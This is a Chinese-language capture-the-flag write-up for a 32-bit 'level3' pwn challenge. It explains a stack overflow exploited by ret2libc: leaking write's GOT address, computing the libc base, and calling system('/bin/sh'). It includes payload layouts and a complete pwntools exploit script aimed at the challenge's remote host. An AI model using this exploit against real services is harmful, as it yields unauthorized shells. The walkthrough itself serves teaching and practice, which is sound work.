nc了一下平台给的端口号,大概这个样子。
在用ida pro看一下源文件的样子。
寻找一下溢出点。
很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串了 这里有一个新的模式,泄露函数got表中的地址获取到库中某个函数的真正加载地址,通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串
攻击思路:
libc中的函数的相对地址是固定的,要想获取到system函数的地址,可以通过write()函数进行offset计算。1. 首先利用write()函数计算出write()函数的真实地址;2. 利用相对offset计算出system和"/bin/sh"的真实地址。
在vulnerable_function()中,先调用了write()函数,然后调用read()函数。write()函数返回到vulnerable_function()后,再进行read()函数调用,这样我们就可以进行二次攻击。 - 第一次攻击我们利用栈溢出将write()函数在got表中的真实地址leak出来,然后减去libc中的offset,就可以得到libc的base address。- 第二次攻击重新进入main函数,再次通过栈溢出,利用system函数进行getshell。
buf 的大小为0x88。
第一次使用的payload构成如下:
payload = 'A'\*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)
利用第一次攻击,就可以获取到libc的基地址。然后进行第二次攻击,使用的payload构成为:
payload0 = 'A'\*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
0x15902b是"/bin/sh"在libc中的地址,可以使用libcsearch进行获取,也可以使用 strings -a -t x libc_32.so.6 | grep "/bin/sh" 进行获取。
EXP:
1 from pwn import * 2 3 from LibcSearcher import * 4 5 io = remote("111.198.29.45",37205) 6 7 elf = ELF("./level3") 8 #获取函数 9 10 read_plt = elf.plt["read"] 11 12 write_plt = elf.plt["write"] 13 14 write_got = elf.got["write"] 15 16 main_addr = elf.symbols["main"] 17 18 #接收数据 19 20 io.recv() 21 22 #char[88] ebp write函数地址 write函数返回地址(返回到main函数) write函数参数一(1) write函数参数二(write_got地址) write函数参数三(写4字节) 23 24 payload = "a" * 0x88 25 26 payload += p32(0xdeadbeef) 27 28 payload += p32(write_plt) 29 30 payload += p32(main_addr) 31 32 payload += p32(1) 33 34 payload += p32(write_got) 35 36 payload += p32(4) 37 38 39 40 io.sendline(payload) 41 42 #获取write在got中的地址 43 44 write_leak = u32(io.recv()[:4]) 45 46 print "write_leak ==> " + hex(write_leak) 47 48 #计算lib库加载基址 49 50 libc = LibcSearcher('write', write_leak) 51 52 libc_base = write_leak - libc.dump('write') 53 54 print "libc_base ==> " + hex(libc_base) 55 56 #计算system的地址 57 58 sys_addr = libc_base + libc.dump("system") 59 60 print "sys_addr ==> " + hex(sys_addr) 61 #计算字符串 /bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取 62 63 bin_sh_addr = libc_base + libc.dump("str_bin_sh") 64 65 print "bin_sh_addr ==> " + hex(bin_sh_addr) 66 67 68 69 io.recv() 70 71 #char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr) 72 73 payload2 = "a" * 0x88 + p32(0xdeadbeef) 74 75 payload2 += p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr) 76 77 78 79 io.sendline(payload2)
喜提flag。